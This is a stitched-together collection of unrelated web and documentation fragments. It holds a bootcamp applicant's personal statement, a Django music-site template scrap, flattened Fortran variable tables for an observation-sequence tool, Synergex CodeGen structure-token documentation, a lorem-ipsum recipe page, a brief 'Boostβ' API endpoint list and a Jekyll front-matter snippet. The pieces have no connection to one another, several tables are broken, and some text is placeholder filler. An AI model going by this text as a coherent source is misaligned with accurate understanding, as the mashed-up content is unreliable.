I expect the facilitation team to deliver to what was presented over by my interview, student-prep, and foundations/ bootcamp. EDA come across as one of the best in the business in terms of learning due to its accelerated way, flip classroom, skills over knowledge, and unobtrusive assessment models. There is also a big focus on values which is something I really look forward to. I have been in retail for roughly 15 years and I always choose to work where there is great culture that focuses on values. Even though I have lived for 35 years and think that I know myself, I expect to complete my journey with EDA with a better understanding and be an improved version of myself, tech and personality wise.
I understand the way of learning and the accelerated pace that this course requires. Even before I applied I have commited myself to doing this full time. I have the support of my family. I actually have only studying planned for the next 14 more weeks. I had my finances sorted with studylink, got my car wof and even had a doctors check up before foundation starts. I made sure everything was in place so all I will do is focus on my studies. Foundation is good as I can study remotely and still help out at home with kids drop off and pick ups. I plan to do the small things for them as for when boot camp starts it will be all hands on deck. Its just the "unexpected" that can be an issue for me.


{%extends 'musicContent/basic.html'%} {% block title%}CampusTube{% endblock %} {% block body %} {% load static %}
Genre: {{i.tags}}
Artist: {{i.singer}}
Artist
By submitting your Phone number you will be prompted to enter your M-pesa pin via your phone.


Prints out a quick summary number of the total error in the mean
and spread. This should be run on an obs_seq file which has been
through both perfect_model_obs and filter, so it has both a copy
of the 'truth' as well as 'ensemble mean' and 'ensemble spread'.
You can get more info by running the obs_diag program
Variables
| Type |
Attributes | | Name | | Initial | |
| character(len=*), |
parameter | :: |
source | = | "$URL$" | |
| character(len=*), |
parameter | :: |
revision | = | "$Revision$" | |
| character(len=*), |
parameter | :: |
revdate | = | "$Date$" | |
| type(obs_sequence_type) |
| :: |
seq_in | | | |
| integer |
| :: |
size_seq_in | | | |
| integer |
| :: |
num_copies_in | | | |
| integer |
| :: |
num_qc_in | | | |
| integer |
| :: |
iunit | | | |
| integer |
| :: |
io | | | |
| integer |
| :: |
ifile | | | |
| integer |
| :: |
max_num_obs | | | |
| integer |
| :: |
file_id | | | |
| character(len=129) |
| :: |
read_format | | | |
| character(len=129) |
| :: |
filename_in | | | |
| logical |
| :: |
pre_I_format | | | |
| logical |
| :: |
cal | | | |
| character(len=256) |
| :: |
msgstring | | | |
| character(len=256) |
| :: |
msgstring1 | | | |
| character(len=256) |
| :: |
msgstring2 | | | |
| character(len=160) |
| :: |
obs_sequence_name | = | '' | |
| character(len=160) |
| :: |
obs_sequence_list | = | '' | |
| character(len=32) |
| :: |
calendar | = | 'Gregorian' | |
Functions
Arguments
| Type |
Intent | Optional |
Attributes | | Name | |
| type(obs_sequence_type), |
intent(in) |
|
| :: |
seq | |
| character(len=*) |
|
|
| :: |
fname | |
Return Value integer
Arguments
| Type |
Intent | Optional |
Attributes | | Name | |
| type(obs_sequence_type), |
intent(in) |
|
| :: |
seq | |
| character(len=*) |
|
|
| :: |
fname | |
| character(len=*) |
|
|
| :: |
copyname | |
Return Value integer
Subroutines
Arguments
| Type |
Intent | Optional |
Attributes | | Name | |
| type(obs_sequence_type), |
intent(in) |
|
| :: |
seq_in | |
| character(len=*), |
intent(in) |
|
| :: |
filename | |
Arguments
| Type |
Intent | Optional |
Attributes | | Name | |
| type(obs_sequence_type), |
intent(in) |
|
| :: |
seq | |
| character(len=*), |
intent(in) |
|
| :: |
filename | |
Arguments
| Type |
Intent | Optional |
Attributes | | Name | |
| type(obs_sequence_type), |
intent(in) |
|
| :: |
seq | |
| character(len=*) |
|
|
| :: |
fname | |


Structure expansion tokens are expansion tokens that are used to insert information about the current Repository structure into the output stream. They can be used anywhere in a template file.
|
Structure Token |
Description |
|
Inserts a comma-separated list of a structures data fields (i.e. non primary key) fields. This is mainly useful for defining sets in UI Toolkit input windows, as any field marked “Excluded by Toolkit” will NOT be included in the list of fields. Array fields are listed separately with real a real array index. Example output: FIELD1,FIELD2,FIELD3[1],FIELD3[2],FIELD4 |
|
|
Inserts the name of the structures display field, if defined. A structures display field is defined by adding the text @CODEGEN_DISPLAY_FIELD to the fields user defined text string or long description. CodeGen will display an error if it encounters this token and the structure being processed does not have a display field defined. Example output: DEPARTMENT_NAME |
|
|
|
Inserts the current field prefix that was specified via the -prefix command line option. If the -prefix command line option was not used then this the token does not write anything to the output file.
|
|
Inserts the addressing size of the structures first assigned data file. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: 32, 40 |
|
|
Inserts a string indicating whether the structures first assigned file has change tracking enabled. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. This option is supported by Synergy/DE V10.1 and higher. Possible values: YES, NO Alternates: <file_change_tracking> |
|
|
Inserts a string indicating whether the structures first assigned file has data compression enabled. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: YES, NO Alternates: <file_compression> |
|
|
Inserts the default key density of the structures first assigned file. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: 50, 100 |
|
|
Inserts the description of the first data file assigned to the structure. For example: CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Example Output: Customer Master File |
|
|
|
Inserts an ISAMC file specification string based on the file attributes defined in the first file assigned to the structure.
CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Example output: DATA:EMPLOYEE.ISM,FIXED,COMPRESS,DENSITY=50,PAGE=1024 See also: <KEY_ISAMC_SPEC> |
|
Inserts the name of the first data file assigned to the current structure. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Example output: DAT:customer.ism |
|
|
Inserts the name of the first data file assigned to the current structure, with the file extension removed. This token can be useful when constructing file specifications where the file extension is based on a variable company code or other data. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Example output: DAT:customer |
|
|
|
Inserts the ODBC table name of the first repository file definition that is assigned to the structure currently being processed. If no ODBC table name is specified then the name of the first assigned structure is used.
Example output: CUSTOMER Alternates: <file_odbc_name> <File_Odbc_Name> <File_odbc_name> <FileOdbcName> <fileOdbcName> |
|
Inserts the page size of the current structures first assigned file. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: 512, 1024, 2048, 4096, 8192,16384, 32768 Note: Page sizes 16384 and 32768 were introduced with ISAM Rev 6 in Synergy/DE 10.1 |
|
|
|
Inserts the portable integer positions string of the first data file assigned to the current structure.
CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. |
|
Inserts a string indicating the record type of the first data file assigned to the structure. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: FIXED, VARIABLE, MULTIPLE Alternates: <file_rectype> |
|
|
|
Inserts the name of the first repository file definition that is assigned to the structure currently being processed.
Example output: CUSTOMER Alternates: <file_rps_name> <File_Rps_Name> <File_rps_name> <FileRpsName> <fileRpsName> |
|
Inserts a string indicating whether the structures first assigned file has static RFA’s enabled. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: YES, NO Alternates: <file_static_rfa> |
|
|
Inserts a string indicating whether the structures first assigned file has stored GRFA’s enabled. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Supported in Synergy/DE V10.1 and higher. Possible values: YES, NO Alternates: <file_stored_grfa> |
|
|
Inserts a string indicating the type of the first data file assigned to the structure. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. Possible values: ASCII, DBL ISAM, RELATIVE, USER DEFINED |
|
|
Inserts the user text string of the first data file assigned to the structure. CodeGen will display an error if it encounters this token and the structure being processed has not been assigned to a repository file definition. |
|
|
Inserts the file specification of the first file assigned to the mapped structure. To use this token you must be processing a structure which has been mapped to a second structure, and the second structure must have been assigned to a repository file definition. CodeGen will display an error if it encounters this token and these requirements have not been satisfied. For information on structure and field mapping, refer to Preparing Your Repository. Example output: DAT:department.ism |
|
|
Inserts the name of the mapped structure. To use this token you must be processing a structure which has been mapped to a second structure. CodeGen will display an error if it encounters this token and you are not processing a structure with a structure mapping. For information on structure and field mapping, refer to Preparing Your Repository. Example output: DEPARTMENT Alternates: <mapped_structure> |
|
|
Inserts the name of the name of the first tag field in the mapped structure. To use this token you must be processing a structure which has been mapped to a second structure, and that structure must have a tag. CodeGen will display an error if it encounters this token and you are not processing a structure with a structure mapping. For information on structure and field mapping, refer to Preparing Your Repository. Example output: DEPARTMENT_ID Alternates: <mapped_tag_field> |
|
|
Inserts the name of the first segment of the structures primary key. WARNING: This token does not support structures with segmented primary keys. You can achieve more flexible results by using a key segment loop within a primary key block. This technique is discussed later in this chapter. This token is present for compatibility with older template files only, and will be removed in a future version. Example output: CUSTOMER_ID Alternates: <primary_key_field> <Primary_Key_Field> <Primary_key_field> <PrimaryKeyField> <primaryKeyField> |
|
|
This special token switches context to a different structure, and can only be used when processing multiple structures concurrently. The n character represents the one-based index number of the structure to switch to, and must be a number between 1 and the number of structures being processed. CodeGen can process multiple structures concurrently in one of two ways: •Multiple structures can be specified on the command line, after the -s command line option, and the -ms command line option can be used to specify that all of the structures are to be processed together. •The -file command line option can be used to use a repository file definition as the starting point for code generation, and that file definition can have multiple structures assigned. This token does not cause any data to be written to the output stream. For an example of processing multiple structures in a single template file, refer to the example template named xf_net_get_master_detail.tpl. |
|
|
Inserts the number of the structures first level child members (fields and groups). Example output: 15 |
|
|
Inserts the current structures description. Example output: Customer Master Record |
|
|
Inserts the total number of fields in the structure. If the structure includes any array fields then the individual array field elements are counted towards the number of fields in the structure. Example output: 25 |
|
|
|
Inserts the number of repository file definitions that the current structure is assigned to.
Example output: 1 |
|
|
If the structure has one or more unique keys then this token Inserts the key number of the first unique key. If the structure does not have a unique key then this token does not insert anything. You can check whether the structure has a unique key by using the <STRUCTURE_HAS_UNIQUE_KEY> expression.
IMPORTANT: The value produced by this token relies on the "key of reference" number being set on all access key definitions in the repository. If these are not set then the token will produce a value of 0 regardless of which key is the first unique key.
|
|
Inserts the total number of keys defined in the structure. Example output: 3 |
|
|
Inserts the structures long description. |
|
|
Inserts the name of the structure that is currently being processed. If the -a command line option is being used then inserts the structures alias as specified on the command line. If you are using structure aliases and want to insert the name of the actual structure (not the alias) then use the <STRUCTURE_NOALIAS> token. Example output: CUSTOMER Alternates: <structure_name> <Structure_Name> <Structure_name> <StructureName> <structureName> See also: <STRUCTURE_NOALIAS>, <STRUCTURE_NOPLURAL>, <STRUCTURE_PLURAL> |
|
|
Inserts the name of the Repository structure that is currently being processed. This token is always replaced by the actual name of the repository structure, even if the -a command line option is being used. Example output: CUSTOMER Alternates: <structure_noalias> <Structure_Noalias> <Structure_noalias> <StructureNoalias> <structureNoalias> See also: <STRUCTURE_NAME>, <STRUCTURE_NOPLURAL>, <STRUCTURE_PLURAL> |
|
|
|
Inserts the name of the structure that is currently being processed. If the -a command line option is being used then inserts the structures alias as specified on the command line. If the name ends with an "S" character then it will be removed.
Example output: For a structure named CUSTOMERS the token will insert CUSTOMER Alternates: <structure_noplural> <Structure_Noplural> <Structure_noplural> <StructureNoplural> <structureNoplural> See also: <STRUCTURE_NAME>, <STRUCTURE_NOALIAS>, <STRUCTURE_PLURAL> |
|
|
Inserts the name of the structure that is currently being processed. If the -a command line option is being used then inserts the structures alias as specified on the command line. If the name does not end with the character "S" then one will be added.
Example output: For a structure named CUSTOMER the token will insert CUSTOMERS Alternates: <structure_plural> <Structure_Plural> <Structure_plural> <StructurePlural> <structurePlural> See also: <STRUCTURE_NAME>, <STRUCTURE_NOALIAS>, <STRUCTURE_NOPLURAL> |
|
Inserts the size of the current structure expressed in bytes. Example output: 495 |
|
|
|
If the structure has a multi-part tag expression this token inserts the number of AND connectors being used to connect the parts of the expression. Otherwise 0 is inserted.
|
|
|
If the structure has a multi-part tag expression this token inserts the number of OR connectors being used to connect the parts of the expression. Otherwise 0 is inserted. |
|
|
If the structure has a tag expression this token inserts the total number of parts of that expression. Otherwise 0 is inserted. |
|
|
Inserts the type of the current structure. Possible values: ASCII, DBL ISAM, RELATIVE, USER DEFINED |
|
Inserts the structure user text string. |
Copyright © 2021 Synergex International, Inc.


Cooking With Ember
Categories
All Recipes
Breakfast
Lunch
Dinner
Dessert
Snacks
Home
>
All Recipes
Really Awesome Things
Em+
100
Proin gravida nibh vel velit auctor aliquet. Aenean sollici
Dinner
Really Awesome Things
Em+
100
Proin gravida nibh vel velit auctor aliquet. Aenean sollici
Dinner
Really Awesome Things
Em+
100
Proin gravida nibh vel velit auctor aliquet. Aenean sollici
Dinner
Really Awesome Things
Em+
100
Proin gravida nibh vel velit auctor aliquet. Aenean sollici
Dinner


Boostβ API Reference
| /beta/api |
Retrieve the documentation for the Boostβ API.
|
|---|---|
| /beta/signup |
Bring the user to the Prime Influencers Programme signup page.
|
| /beta/signup |
Register a user for priority access to the Prime Influencers Programme.
|
| /beta/boost_rating |
(support access only) Artificially boost a user's rating. Only use if granted explicit permission by authorities.
|


--- layout: default permalink: contact-me generator: ['this', 'that'] use: ["posts"] tags: - php categories: - php --- Some content {% include _snippets/footer.twig %} This is me This is me